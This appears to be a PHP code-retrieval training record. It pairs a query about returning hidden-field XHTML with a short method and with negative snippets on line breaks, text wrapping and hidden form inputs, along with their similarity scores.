$s[$nb-1]==\"\\n\")\n\t\t\t$nb--;\n\t\t$sep=-1;\n\t\t$i=0;\n\t\t$j=0;\n\t\t$l=0;\n\t\t$nl=1;\n\t\twhile($i<$nb)\n\t\t{\n\t\t\t$c=$s[$i];\n\t\t\tif($c==\"\\n\")\n\t\t\t{\n\t\t\t\t$i++;\n\t\t\t\t$sep=-1;\n\t\t\t\t$j=$i;\n\t\t\t\t$l=0;\n\t\t\t\t$nl++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif($c==' ')\n\t\t\t\t$sep=$i;\n\t\t\t$l+=$cw[$c];\n\t\t\tif($l>$wmax)\n\t\t\t{\n\t\t\t\tif($sep==-1)\n\t\t\t\t{\n\t\t\t\t\tif($i==$j)\n\t\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t$i=$sep+1;\n\t\t\t\t$sep=-1;\n\t\t\t\t$j=$i;\n\t\t\t\t$l=0;\n\t\t\t\t$nl++;\n\t\t\t}\n\t\t\telse\n\t\t\t\t$i++;\n\t\t}\n\t\treturn $nl;\n\t}", "function NbLines($w,$txt)\n\t{\n\t\t$cw=&$this->CurrentFont['cw'];\n\t\tif($w==0)\n\t\t\t$w=$this->w-$this->rMargin-$this->x;\n\t\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n\t\t$s=str_replace(\"\\r\",'',$txt);\n\t\t$nb=strlen($s);\n\t\tif($nb>0 and $s[$nb-1]==\"\\n\")\n\t\t\t$nb--;\n\t\t$sep=-1;\n\t\t$i=0;\n\t\t$j=0;\n\t\t$l=0;\n\t\t$nl=1;\n\t\twhile($i<$nb)\n\t\t{\n\t\t\t$c=$s[$i];\n\t\t\tif($c==\"\\n\")\n\t\t\t{\n\t\t\t\t$i++;\n\t\t\t\t$sep=-1;\n\t\t\t\t$j=$i;\n\t\t\t\t$l=0;\n\t\t\t\t$nl++;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tif($c==' ')\n\t\t\t\t$sep=$i;\n\t\t\t$l+=$cw[$c];\n\t\t\tif($l>$wmax)\n\t\t\t{\n\t\t\t\tif($sep==-1)\n\t\t\t\t{\n\t\t\t\t\tif($i==$j)\n\t\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\t$i=$sep+1;\n\t\t\t\t$sep=-1;\n\t\t\t\t$j=$i;\n\t\t\t\t$l=0;\n\t\t\t\t$nl++;\n\t\t\t}\n\t\t\telse\n\t\t\t\t$i++;\n\t\t}\n\t\treturn $nl;\n\t}", "protected function new_line()\n {\n }", "function NbLines($w,$txt)\n\t{\n\t $cw=&$this->CurrentFont['cw'];\n\t if($w==0)\n\t $w=$this->w-$this->rMargin-$this->x;\n\t\t$wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n \t $s=str_replace(\"\\r\",'',$txt);\n\t $nb=strlen($s);\n\t if($nb>0 and $s[$nb-1]==\"\\n\")\n \t$nb--;\n\t\t$sep=-1;\n \t\t$i=0;\n \t\t$j=0;\n \t\t$l=0;\n \t\t$nl=1;\n \n\t\twhile($i<$nb){\n\t\t $c=$s[$i];\n\t if($c==\"\\n\"){\n\t $i++;\n\t $sep=-1;\n\t $j=$i;\n\t $l=0;\n\t $nl++;\n\t continue;\n\t }\n\n\t if($c==' ')\n\t $sep=$i;\n \t $l+=$cw[$c];\n\t if($l>$wmax){\n\t if($sep==-1){\n if($i==$j)\n $i++;\n \t}\n else\n $i=$sep+1;\n\t $sep=-1;\n \t$j=$i;\n \t$l=0;\n \t$nl++;\n\t }\n\t else\n\t \t$i++;\n\t }\n\t return $nl;\n\t}", "function pun_linebreaks2($str)\r\n{\r\n\treturn str_replace(\"\\r\", \"\\n\", str_replace(\"\\r\\n\", \"<br>\", $str));\r\n}", "function add_br(&$output)\n{\n\t$output = preg_replace(\"~\\n~\", \"<br />\\n\", $output);\n}", "public function justifyText() {\n $positions = array();\n for ($i = 0; $i < count($this->textToPrint); $i++) { // do this for each line of text\n\n $lineByLine = str_word_count($this->textToPrint[$i],1,self::CHARLIST);\n\n for ($j = 0; $j < count($lineByLine)-1; $j++) { // pad all words but last with trailing whitespace\n $lineByLine[$j] = $lineByLine[$j]. \" \";\n }\n $whiteSpaces = count($lineByLine) - 1; \n \n // this wasn't getting calculated correctly if there were multiple spaces, such as after a period in a sentence\n $localLength = 0;\n foreach ($lineByLine as $key => $value) {\n $localLength += strlen($value);\n }\n $spacesNeeded = $this->width - $localLength;\n \n if ($whiteSpaces > 0) { // dont' do this for a line containing only one word.\n \n $middle = (int) (($whiteSpaces+1)/2); // need to find middle of array\n $whereToInsert = $middle;\n $lkey = 1;\n $rkey = 1;\n $linc = 2;\n $rinc = 2;\n $rinit = $rkey;\n $linit = $lkey;\n\n if ($whiteSpaces % 2 == 0) { // if there are an even number of whitespaces, then we don't have a true middle, start at the right\n $side = \"right\";\n } else {\n $side = \"middle\";\n }\n\n while ($spacesNeeded > 0) {\n \n // insert to middle, then increment keys\n if ($side == \"middle\") {\n array_splice( $lineByLine, $whereToInsert, 0, \" \" );\n $lkey++;\n $rkey++;\n }\n \n if($side == \"right\") {\n $whereToInsert = $middle+$rkey;\n if ($whereToInsert >= count($lineByLine)) { // reached the end of array -- need to reset right side\n $rkey = $rinit;\n $whereToInsert = $middle+$rkey;\n }\n array_splice( $lineByLine, $whereToInsert, 0, \" \" );\n $rkey+=$rinc;\n } else if ($side == \"left\") {\n $whereToInsert = $middle-$lkey;\n if ($whereToInsert <= 0) { //reached the end of array -- need to reset left side\n $lkey = $linit;\n $whereToInsert = $middle-$lkey;\n }\n array_splice( $lineByLine, $whereToInsert, 0, \" \" );\n $lkey+=$linc;\n }\n \n $middle = (int) (count($lineByLine)/2);\n $side = ($side == \"right\" ? \"left\" : \"right\");\n $spacesNeeded--;\n }\n $this->textToPrint[$i] = implode(\"\", $lineByLine);\n }\n }\n }", "private function add_new_line() {\n\n\t\t$this->fields[] = array( 'newline' => true );\n\n\t}", "public function NbLines($w,$txt){\n $cw=&$this->CurrentFont['cw'];\n\n if($w==0)\n $w=$this->w-$this->rMargin-$this->x;\n\n $wmax=($w-2*$this->cMargin)*1000/$this->FontSize;\n $s=str_replace(\"\\r\",'',$txt);\n $nb=strlen($s);\n if($nb>0 and $s[$nb-1]==\"\\n\")\n $nb--;\n\n $sep=-1;\n $i=0;\n $j=0;\n $l=0;\n $nl=1;\n\n while($i<$nb)\n {\n\n $c=$s[$i];\n\n if($c==\"\\n\")\n {\n $i++;\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n continue;\n }\n\n if($c == ' ')\n\n $sep=$i;\n $l+=$cw[$c];\n\n if($l > $wmax)\n {\n\n if($sep == -1)\n {\n\n if($i == $j)\n $i++;\n\n }else\n $i=$sep+1;\n\n $sep=-1;\n $j=$i;\n $l=0;\n $nl++;\n\n }else\n\n $i++;\n\n }\n\n return $nl;\n\n }", "private function createHorizontalGridLines(SVGDocumentFragment $svgDocument)\n {\n $min = $this->style->axes->ord->min;\n $max = $this->style->axes->ord->max;\n $step = $this->style->axes->ord->step;\n $delta = $max - $min;\n\n for ($linePos = $step; $linePos <= $delta; $linePos = $linePos + $step) {\n $point1 = new Point(\n $this->style->canvas->left,\n $this->style->canvas->top + $this->style->canvas->height - round(\n $linePos * $this->style->canvas->height / $delta,\n 3\n )\n );\n\n $point2 = new Point($this->style->canvas->left + $this->style->canvas->width, $point1->y);\n\n $svgDocument->addChild(\n $this->getLine(\n $point1,\n $point2,\n $this->style->grid->horizontal->color,\n $this->style->grid->horizontal->thickness\n )\n );\n }\n }", "function line_break_shortcode() {\n\treturn '<br />';\n}", "public function wktGenerateLinestring(array $start = NULL, $segments = NULL);", "public function nextLine($spacing = 1.0);", "private function setNewLine() {\n $extension = pathinfo($this->path, PATHINFO_EXTENSION);\n if ($extension === Lexer::LINUX_FILE_EXTENSION) {\n $this->newLine = \"\\n\";\n } else {\n $this->newLine = \"\\r\\n\";\n }\n }", "protected function _outln($text = null, $num = 1, $replace = null)\n {\n $text .= PHP_EOL;\n $this->_out($text, $num, $replace);\n }", "private function writeBreaks(): void\n {\n // initialize\n $vbreaks = [];\n $hbreaks = [];\n\n foreach ($this->phpSheet->getRowBreaks() as $cell => $break) {\n // Fetch coordinates\n $coordinates = Coordinate::coordinateFromString($cell);\n $hbreaks[] = $coordinates[1];\n }\n foreach ($this->phpSheet->getColumnBreaks() as $cell => $break) {\n // Fetch coordinates\n $coordinates = Coordinate::indexesFromString($cell);\n $vbreaks[] = $coordinates[0] - 1;\n }\n\n //horizontal page breaks\n if (!empty($hbreaks)) {\n // Sort and filter array of page breaks\n sort($hbreaks, SORT_NUMERIC);\n if ($hbreaks[0] == 0) { // don't use first break if it's 0\n array_shift($hbreaks);\n }\n\n $record = 0x001b; // Record identifier\n $cbrk = count($hbreaks); // Number of page breaks\n $length = 2 + 6 * $cbrk; // Bytes to follow\n\n $header = pack('vv', $record, $length);\n $data = pack('v', $cbrk);\n\n // Append each page break\n foreach ($hbreaks as $hbreak) {\n $data .= pack('vvv', $hbreak, 0x0000, 0x00ff);\n }\n\n $this->append($header . $data);\n }\n\n // vertical page breaks\n if (!empty($vbreaks)) {\n // 1000 vertical pagebreaks appears to be an internal Excel 5 limit.\n // It is slightly higher in Excel 97/200, approx. 1026\n $vbreaks = array_slice($vbreaks, 0, 1000);\n\n // Sort and filter array of page breaks\n sort($vbreaks, SORT_NUMERIC);\n if ($vbreaks[0] == 0) { // don't use first break if it's 0\n array_shift($vbreaks);\n }\n\n $record = 0x001a; // Record identifier\n $cbrk = count($vbreaks); // Number of page breaks\n $length = 2 + 6 * $cbrk; // Bytes to follow\n\n $header = pack('vv', $record, $length);\n $data = pack('v', $cbrk);\n\n // Append each page break\n foreach ($vbreaks as $vbreak) {\n $data .= pack('vvv', $vbreak, 0x0000, 0xffff);\n }\n\n $this->append($header . $data);\n }\n }", "private function addLines()\n {\n\n $lines = rand(1, 3);\n for ($i = 0; $i < $lines; $i++) {\n imageline($this->imageResource, rand(0, 200), rand(0, -77), rand(0, 200), rand(77, 144), imagecolorallocate($this->imageResource, rand(0, 240), rand(0, 240), rand(0, 240)));\n }\n\n for ($i = 0; $i < 5 - $lines; $i++) {\n imageline($this->imageResource, rand(0, -200), rand(0, 77), rand(200, 400), rand(0, 77), imagecolorallocate($this->imageResource, rand(0, 240), rand(0, 240), rand(0, 240)));\n }\n }", "public function addPageBreak() {\n\t\t$this->_elementCollection[] = new PHPWord_Section_PageBreak();\n\t}", "public function insert(int $offset, Period $interval, Period ...$intervals): void\n {\n if (0 === $offset) {\n $this->unshift($interval, ...$intervals);\n\n return;\n }\n\n if (count($this->periods) === $offset) {\n $this->push($interval, ...$intervals);\n\n return;\n }\n\n array_unshift($intervals, $interval);\n array_splice($this->periods, $this->getOffset($offset), 0, $intervals);\n }", "public function testLineIntrospectionWithCRLFLineEndings() {\n\t\t$tmpPath = Libraries::get(true, 'resources') . '/tmp/tests/inspector_crlf';\n\t\t$contents = implode(\"\\r\\n\", ['one', 'two', 'three', 'four', 'five']);\n\t\tfile_put_contents($tmpPath, $contents);\n\n\t\t$result = Inspector::lines($tmpPath, [2]);\n\t\t$expected = [2 => 'two'];\n\t\t$this->assertEqual($expected, $result);\n\n\t\t$result = Inspector::lines($tmpPath, [1,5]);\n\t\t$expected = [1 => 'one', 5 => 'five'];\n\t\t$this->assertEqual($expected, $result);\n\n\t\t$this->_cleanUp();\n\t}", "public function setGridLines($xAxisStepSize, $yAxisStepSize, $dashLength = 4, $spaceLength = 1, $xOffset = 0, $yOffset = 0) {\n\t\t$this->setProperty('chg', $this->encodeData(array($xAxisStepSize, $yAxisStepSize, $dashLength, $spaceLength, $xOffset, $yOffset), ','));\n\t}", "function &nl2Br( $text ) {\n $text = preg_replace( \"/(\\015\\012)|(\\015)|(\\012)/\", \"<br />\", $text );\n return $text;\n }", "protected function lineBreak() {\n\n return PHP_EOL;\n }", "public static function lines($text, callable $callback)\n {\n $buffer = new LineBuffer($callback);\n $buffer->input($text);\n $buffer->flush();\n }", "public function addInsertBlocks() {\n foreach ($this->_explodedBody as $key => $paragraph) {\n if (isset($this->_inserts[$key])) {\n $this->_body = str_replace($paragraph . '</p>', $paragraph . $this->_explodeTag . $this->_inserts[$key], $this->_body);\n }\n else {\n $this->_body = str_replace($paragraph . '</p>', $paragraph . $this->_explodeTag, $this->_body);\n }\n }\n\n $this->_insertedBody = $this->_body;\n\n }", "function drawTableLine($data_len=0) {\n\techo \" \" . str_repeat(\"-\", $data_len + 10) . \"\\r\\n\";\n}", "function pun_linebreaks($str)\r\n{\r\n\treturn str_replace(\"\\r\", \"\\n\", str_replace(\"\\r\\n\", \"\\n\", $str));\r\n}", "private function add_next_line($content) {\r\n\t\treturn $content . \"\\n\";\r\n\t}", "function stringBreak ($posterTxt, $breakLength)\n\t{\n\t\t$tempArray = explode(' ', $posterTxt);\n\t\t\t\t\n\t\t$runningLength = 0;\n\t\t$lastSize = 0;\n\t\t$finalString = \"\";\n\t\t\n\t\tforeach ($tempArray as $word)\n\t\t{\n\t\t\t$finalString .= $word. ' ';\n\t\t\t$runningLength = strlen($finalString);\n\t\t\tif (($runningLength - $lastSize) >= $breakLength)\n\t\t\t{\n\t\t\t\t$finalString .= \"<br>\";\n\t\t\t\t$lastSize = strlen($finalString);\n\t\t\t}\t\n\t\t}\t\n\t\treturn $finalString;\n\t}", "function pt_convert_line_break($str){\n\treturn str_replace(\"\\n\",\"\\\\n\", str_replace(array(\"\\n\\r\", \"\\r\\n\", \"\\r\"),\"\\n\", $str));\n}", "function convertlinebreaks ($str) {\r\n return preg_replace (\"/\\015\\012|\\015|\\012/\", \"\\n\", $str);\r\n}", "public function setTextLineSpacing($value)\n {\n $this->_textLineSpacing = $value;\n }", "public function getRemoveLineBreaksFromTemplate() {}", "public function printGridlines() {\n\t}", "public static function addNewLineBetweenAnnotations(bool $should = true): void\n {\n static::$shouldAddNewLineBetweenAnnotations = $should;\n }", "protected function formatBatchNewlines(array $records)\n {\n $instance = $this;\n\n $oldNewline = $this->appendNewline;\n $this->appendNewline = false;\n array_walk($records, function (&$value, $key) use ($instance) {\n $value = $instance->format($value);\n });\n $this->appendNewline = $oldNewline;\n\n return implode(\"\\r\\n\", $records);\n }", "public function testWriteRowBreakInPrintAreaWithoutMax(): void\n {\n // and appears incorrect. Probable Excel bug.\n $spreadsheet = new Spreadsheet();\n $sheet = $spreadsheet->getActiveSheet();\n for ($row = 1; $row < 60; ++$row) {\n for ($column = 'A'; $column !== 'L'; ++$column) {\n $cell = $column . $row;\n $sheet->getCell($cell)->setValue($cell);\n }\n }\n $sheet->getPageSetup()->setPrintArea('B2:J55');\n $sheet->setBreak('A25', Worksheet::BREAK_ROW);\n $writer = new XlsxWriter($spreadsheet);\n $writerWorksheet = new XlsxWriter\\Worksheet($writer);\n $data = $writerWorksheet->writeWorksheet($sheet, []);\n $expected = '<rowBreaks count=\"1\" manualBreakCount=\"1\"><brk id=\"25\" man=\"1\"/></rowBreaks>';\n self::assertStringContainsString($expected, $data);\n $spreadsheet->disconnectWorksheets();\n }", "public function getLineEndingStyles() {}", "public function getLineEndingStyles() {}", "static function pl($txt){\r\n $a = preg_split(\"/\\r?\\n/\", $txt);\r\n $padlen = strlen(strval(sizeof($a)));\r\n $cnt = 0;\r\n foreach ($a as $line) {\r\n self::p(self::zfill(++$cnt, $padlen) . ': ' . $line);\r\n }\r\n }", "private function _format_lines($tokensource)\n\t{\n $nocls = $this->noclasses;\n $lsep = $this->lineseparator;\n // for <span style=\"\"> lookup only\n $getcls = &$this->ttype2class;\n $c2s = &$this->class2style;\n \n $lspan = '';\n $line = '';\n foreach($tokensource as $ttype => $value) {\n if($nocls) {\n $cclass = $getcls[$ttype];\n $i = 0;\n while(is_null($cclass)) {\n $ttype = Token::getToken($ttype)->parent;\n $cclass = $getcls[\"$ttype\"];\n\n if($i>=10) break;\n $i++;\n }\n $cspan = $cclass ? sprintf('<span style=\"%s\">', $c2s[$cclass][0]) : '';\n } else {\n $cls = $this->_get_css_class($ttype);\n $cspan = $cls ? sprintf('<span class=\"%s\">', $cls) : '';\n \n\t\t\t}\n\t\t\t$parts = htmlspecialchars($value, ENT_QUOTES);\n\t\t\t$parts = explode(\"\\n\", $parts);\n\t\t\t\n\t\t\t$part_last = array_pop($parts);\n\t\t\t\n\t\t\t// Weiler: ZERO bug, $part = '0'; we need to use !=''\n\t\t\t\n\t\t\t// for all but the last line\n\t\t\tforeach($parts as $part) {\n if($line!='') {\n if($lspan != $cspan) {\n $line .= ($lspan ? '</span>' : '') . $cspan . $part .\n ($cspan ? '</span>' : '') . $lsep;\n } else { // both are the same\n $line .= $part . ($lspan ? '</span>' : '') . $lsep;\n }\n yield [1, $line];\n $line = '';\n } elseif($part!='') {\n yield [1, $cspan . $part . ($cspan ? '</span>' : '') . $lsep];\n } else {\n yield [1, $lsep];\n }\n\t\t\t}\n // for the last line\n\t\t\tif($line!='' && $part_last!='') {\n if($lspan != $cspan) {\n $line .= ($lspan ? '</span>' : '') . $cspan . $part_last;\n $lspan = $cspan;\n } else {\n $line .= $part_last;\n }\n\t\t\t} elseif($part_last!='') {\n $line = $cspan . $part_last;\n $lspan = $cspan;\n\t\t\t}\n // else we neither have to open a new span nor set lspan\n }\n \n if($line!='') {\n \tyield [1, $line . ($lspan ? '</span>' : '') . $lsep];\n }\n\n\t}" ]
[ "0.649795", "0.6317241", "0.6251205", "0.5743949", "0.56729543", "0.5547088", "0.5531092", "0.55218244", "0.5489467", "0.5430374", "0.5376492", "0.53349745", "0.5334232", "0.5312848", "0.53034914", "0.5291867", "0.52730227", "0.5270504", "0.5270504", "0.5270504", "0.5270504", "0.5268214", "0.52290136", "0.5202158", "0.5202158", "0.5167792", "0.51523805", "0.51516986", "0.51446354", "0.5143281", "0.5135697", "0.509489", "0.5092646", "0.5074707", "0.5069248", "0.5069248", "0.5069248", "0.5060225", "0.5060225", "0.5054797", "0.50471383", "0.5045507", "0.5045507", "0.5045507", "0.50417525", "0.50349957", "0.503276", "0.5031344", "0.50299686", "0.5018975", "0.5018531", "0.5010035", "0.49978346", "0.49947035", "0.49870622", "0.49870622", "0.4972822", "0.49667913", "0.4962553", "0.4962553", "0.4962553", "0.496085", "0.49570575", "0.49480212", "0.49172682", "0.49051943", "0.49031353", "0.48887855", "0.48773324", "0.48695576", "0.48462877", "0.48391175", "0.48315972", "0.48181793", "0.48087227", "0.47971725", "0.4796987", "0.47727114", "0.47693154", "0.47550848", "0.47530302", "0.47528946", "0.47526014", "0.47500372", "0.47456676", "0.47150415", "0.46912232", "0.46895885", "0.4686925", "0.4686621", "0.4682946", "0.46810472", "0.467795", "0.46649092", "0.46598986", "0.46596175", "0.4648996", "0.4646701", "0.46366185", "0.4621975" ]
0.50272703
49
Returns an XHTML string for the hidden field
public function output_html($data, $query='') { return '<div id="'. $this->get_id() .'"/>'.$this->description.'</div>'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function render_element_hidden() {\n\t\t\t$inputString = '<INPUT ';\n\t\t\t$inputString .= 'TYPE=\"hidden\" ';\n\t\t\t$inputString .= 'NAME=\"' . $this->name . '\" ';\n\t\t\t$inputString .= 'VALUE=\"' . $this->currentValue . '\" ';\n\t\t\t$inputString .= $this->internalExtra;\n\t\t\t$inputString .= '>';\n\t\t\t\n\t\t\treturn $this->returnSwitch($inputString);\n\t\t}", "public function RenderHidden() {\n\n $List= $this->Hidden;\n $List['_FormName']= $this->Name;\n $Result= array();\n foreach($List as $k=>$v) {\n $Result[]= $this->RenderTag('input', array(\n 'type'=> 'hidden',\n 'name'=> $k,\n 'value'=> $v\n ));\n }\n return implode('', $Result);\n }", "function _field_hidden($fval) \n {\n\n $myval = (empty($fval) && !empty($this->opts))? $this->opts : $fval;\n\n return sprintf(\"<input type=\\\"hidden\\\" name=\\\"%s\\\" id=\\\"%s\\\" class=\\\"%s\\\" value=\\\"%s\\\" />\",\n $this->fname,\n $this->fname,\n (!empty($this->attribs['class']))? $this->attribs['class'] : '',\n $this->_htmlentities($myval)\n ) ;\n }", "public function renderHidden()\n {\n $fields = array();\n foreach ($this->fields as $name => $field) {\n if ($field instanceof Field\\Hidden) {\n $fields[] = $field->getField($this->name);\n }\n }\n $fields[] = $this->fields[self::CSRF_FIELD_NAME]->getField($this->name);\n\n return implode(\"\\n\", $fields);\n }", "function _getHiddenField( $name, $value, $id )\r\n\t{\r\n\t\treturn \"<input class='fabrikinput inputbox' type='hidden' name='$name' value='$value' id='$id' />\\n\";\r\n\t}", "function form_element_hidden( $name, $value )\n{\n\treturn sprintf( \"<input type=\\\"hidden\\\" name=\\\"%s\\\" value=\\\"%s\\\" />\\n\",\n\t\t$name, $value );\n}", "public function hidden($element) {\n $element['#type'] = 'hidden';\n $element = $this->_setRender($element);\n $output = '<input type=\"hidden\" id=\"' . $element['#id'] . '\" name=\"'\n . $element['#name'] . '\" value=\"';\n $output .= isset($element['#value']) ? $element['#value'] : 1;\n $output .= '\"' . $element['_attributes_string'] . $this->_getDataWptId($element) . ' />';\n return $output;\n }", "protected function renderHiddenInput()\n {\n $options = $this->hiddenInputOptions;\n if (!isset($options['name'])) {\n $options['name'] = Html::getInputName($this->model, $this->attribute);\n }\n if (!isset($options['value'])) {\n $options['value'] = $this->_context()->postParamStoragePrefix . $this->_file()->getData();\n }\n return Html::activeHiddenInput($this->model, $this->attribute, $options);\n }", "public function getHtml()\n {\n $attributes = $this->getAttributes();\n $attributes['value'] = htmlspecialchars($this->getValue());\n $attributes['type'] = 'hidden';\n $attributesStr = $this->_buildAttributeStr($attributes);\n\n $html = '<input ' . $attributesStr . ' />';\n return $html;\n }", "function input_hidden($element_name, $value){\r\n\tprint '<input type=\"hidden\" name=\"'.$element_name.'\" value=\"'.htmlentities($value, ENT_NOQUOTES, 'UTF-8').'\">';\r\n}", "function format_input_hidden($p_id, $p_value){\n\treturn '<input type=\"hidden\" id=\"' . $p_id . '\" name=\"' . $p_id . '\" value=\"' . $p_value . '\"/>';\n}", "function hidden() {\n\t\t$args = func_get_args();\n\n\t\twhile (list($name,$val) = each($args[0]))\n\t\t\t$this->buffer .= \"<input type=\\\"hidden\\\" name=\\\"$name\\\" value=\\\"$val\\\" id=\\\"$name\\\" />\";\n\n\t\treturn $this->output();\n\t}", "public function hiddenTag($name = NULL, $value = NULL, $options = NULL)\n {\n return '<input type=\"hidden\" name=\"' . $name . '\" value=\"' . $value . '\" ' . $this->options2str($options) . '/>';\n }", "function form_hidden($field, $options) {\n $defaults = array(\n 'class' => array('input', 'hidden'),\n );\n\n $options = array_merge($defaults, $options);\n\n $field = strtolower($field);\n\n $output = '<input type=\"hidden\" name=\"' . $field . '\" id=\"' . form__field_id($field) . '\"';\n\n if(!empty($_POST[$field])) {\n $output .= ' value=\"'. $_POST[$field] . '\"';\n }\n\n $output .= ' />';\n\n return html__output($output);\n}", "function jabHtmlHidden($name, $value)\n{\n\t$value=htmlspecialchars($value);\n\techo \"<input type=\\\"hidden\\\" id=\\\"$name\\\" name=\\\"$name\\\" value=\\\"$value\\\">\\n\";\n}", "function createHiddenField( $name, $value = '' ) {\n\t\t$nameAttr = $this->makePiVar(htmlspecialchars($name));\n\t\treturn '<input type=\"hidden\" name=\"' . $nameAttr . '\" value=\"' . $value . '\" />';\n\t}", "private static function _fetchHiddenField($value, $name){\r\n return '<input type=\"hidden\" id=\"'.$name.'\" name=\"'.$name.'\" value=\"'.$value.'\" />';\r\n }", "static public function hidden($name, $value = \"\", $attrib = \"\")\n {\n return \"<input type='hidden' name='$name' id='$name' value='$value' $attrib />\\n\";\n }", "function hidden( $element )\n\t\t{\t\t\t\n\t\t\t$output = '<div class=\"ace_section ace_hidden\"><input type=\"hidden\" value=\"'.$element['std'].'\" id=\"'.$element['id'].'\" name=\"'.$element['id'].'\"/></div>';\n\t\t\treturn $output;\n\t\t}", "protected function printHiddenFormField($nameField, $value){\n ?>\n <input type=\"hidden\" name=\"<?php echo $nameField ?>\" value=\"<?php echo $value ?>\" />\n <?php\n }", "function zen_draw_hidden_field($name, $value = '', $parameters = '') {\n $field = '<input type=\"hidden\" name=\"' . zen_sanitize_string(zen_output_string($name)) . '\"';\n\n if (zen_not_null($value)) {\n $field .= ' value=\"' . zen_output_string($value) . '\"';\n } elseif (isset($GLOBALS[$name]) && is_string($GLOBALS[$name])) {\n $field .= ' value=\"' . zen_output_string(stripslashes($GLOBALS[$name])) . '\"';\n }\n\n if (zen_not_null($parameters)) $field .= ' ' . $parameters;\n\n $field .= ' />';\n\n return $field;\n }", "function mihidden($name, $value = null) {\n\tif ($value === null) {\n\t\treturn \"<input type=\\\"hidden\\\" name=\\\"$name\\\" value=\\\"[{\" . $name . \"}]\\\" />\";\n\t} else {\n\t\treturn \"<input type=\\\"hidden\\\" name=\\\"$name\\\" value=\\\"$value\\\" />\";\n\t}\n}", "public static function hiddenField($name,$value='',$option=array()) {\n\t\t$option['name']=$name;\n\t\t$option['type']='hidden';\n\t\t$option['value']=$value;\n\t return self::htmltag('input',$option);\n\t}", "function hidden_field($object, $field, $options = array()) {\n $form = new FormHelper($object, $field);\n return $form->to_input_field_tag(\"hidden\", $options);\n}", "public function coconutHidden($name,$value) {\necho \"<input type=hidden name='$name' value='$value'>\";\n}", "protected function renderHiddenFieldForEmptyValue() {}", "function create_string_hidden_fields_from_widget_vars() {\n $html = '';\n\n $widget_vars = isset( $_REQUEST['slp_widget'] ) ? $_REQUEST['slp_widget'] : array();\n foreach ( $widget_vars as $key => $value ) {\n $html .=\n sprintf(\n '<input name=\"slp_widget[%s]\" id=\"slp_widget[%s]\" value=\"%s\" type=\"hidden\" />',\n $key, $key, $value\n );\n }\n\n return $html;\n }", "function barnelli_wp_hidden_input( $field ) {\n\tglobal $thepostid, $post;\n\n\t$thepostid = empty( $thepostid ) ? $post->ID : $thepostid;\n\t$field['value'] = isset( $field['value'] ) ? $field['value'] : get_post_meta( $thepostid, $field['id'], true );\n\t$field['class'] = isset( $field['class'] ) ? $field['class'] : '';\n\n\techo '<input type=\"hidden\" class=\"' . esc_attr( $field['class'] ) . '\" name=\"' . esc_attr( $field['id'] ) . '\" id=\"' . esc_attr( $field['id'] ) . '\" value=\"' . esc_attr( $field['value'] ) . '\" /> ';\n}", "function INPUThid($champs,$valeur)\n{ // Gestion des INPUT HIDDEN\n html('<input type=\"hidden\" name=\"'.$champs.'\" value=\"'.$valeur.'\">');\n}", "public function createHiddenToken() {\n return '<input type=\"hidden\" name=\"access_token\" value=\"' . $this->getToken() . '\" />';\n }", "public function getHiddenInputField(){\n return $this->_hiddenInputField;\n }", "public function print_value_input(){\n return false;\n ?>\n <input\n class=\"<?php echo RB_Field_Factory::get_input_class_link(); ?>\"\n rb-control-final-value\n name=\"<?php echo $this->id; ?>\"\n value=\"<?php echo $this->value; ?>\"\n type=\"hidden\"></input>\n <?php\n }", "public function ov_hidden($name, $value = '', $id = null){\n $hidden = new fe_hidden(array('name' => $name, 'value' => $value));\n $hidden->setId($id);\n \n if( isset($this->openForm) && is_array($this->openForm) )\n $this->openForm['fields'][] = $hidden;\n \n if( !$this->echoOff ) echo $hidden;\n return $hidden;\n }", "function hidden ($nomes = '') {\n\tglobal $resultado;\n\t$nomes = explode(', ', $nomes);\n\t\n\tforeach ($nomes as $valor) {\n\t\tif (isset($resultado['variables'][$valor])) {\n\t\t\t$hidden .= '<input type=\"hidden\" name=\"'.$valor.'\" value=\"'.$resultado['variables'][$valor].'\" />';\n\t\t}\n\t}\n\treturn $hidden;\n}", "public static function form_field_hidden( $field, $key, $args, $value ) {\n\t\t$field .= '<input type=\"hidden\" class=\"input-text ' . esc_attr( implode( ' ', $args['input_class'] ) ) . '\" name=\"' . esc_attr( $key ) . '\" id=\"' . esc_attr( $args['id'] ) . '\" placeholder=\"' . esc_attr( $args['placeholder'] ) . '\" value=\"' . esc_attr( $value ) . '\" />';\n\n\t\treturn $field;\n\t}", "function form_hidden($name, $value='', $arrayto='', $override = NULL) {\n\n\tif ($arrayto) {\n\t\t$name = $arrayto . \"[\" . $name . \"]\";\n\t}\n\n\t$value = html_form_escape($value, $override);\n\n\treturn \"<input type=\\\"hidden\\\" name=\\\"$name\\\" id=\\\"$name\\\" value=\\\"$value\\\" />\\n\";\n}", "static function renderHiddenField($name, $value = null, $attributes = null)\n {\n if (!is_array($attributes)) $attributes = array();\n if (!isset($attributes['id'])) $attributes['id'] = $name;\n $attributes['type'] = 'hidden';\n $attributes['name'] = $name;\n $attributes['value'] = $value;\n self::renderSingleTag('input', $attributes);\n }", "function ffw_port_hidden_callback( $args ) {\n global $ffw_port_settings;\n\n $hidden = isset($args['hidden']) ? $args['hidden'] : false;\n\n if ( isset( $ffw_port_settings[ $args['id'] ] ) )\n $value = $ffw_port_settings[ $args['id'] ];\n else\n $value = isset( $args['std'] ) ? $args['std'] : '';\n\n $size = ( isset( $args['size'] ) && ! is_null( $args['size'] ) ) ? $args['size'] : 'regular';\n $html = '<input type=\"hidden\" class=\"' . $size . '-text\" id=\"ffw_port_settings_' . $args['section'] . '[' . $args['id'] . ']\" name=\"ffw_port_settings_' . $args['section'] . '[' . $args['id'] . ']\" value=\"' . esc_attr( stripslashes( $value ) ) . '\"/>';\n $html .= '<label for=\"ffw_port_settings_' . $args['section'] . '[' . $args['id'] . ']\"> ' . $args['std'] . '</label>';\n\n echo $html;\n}", "private function renderHidden($def)\n {\n $def = implode(' ', $def);\n\n $tpl = \"<input type='hidden' ng-model='record.{$this->name}' $def />\";\n\n return $tpl;\n }", "function 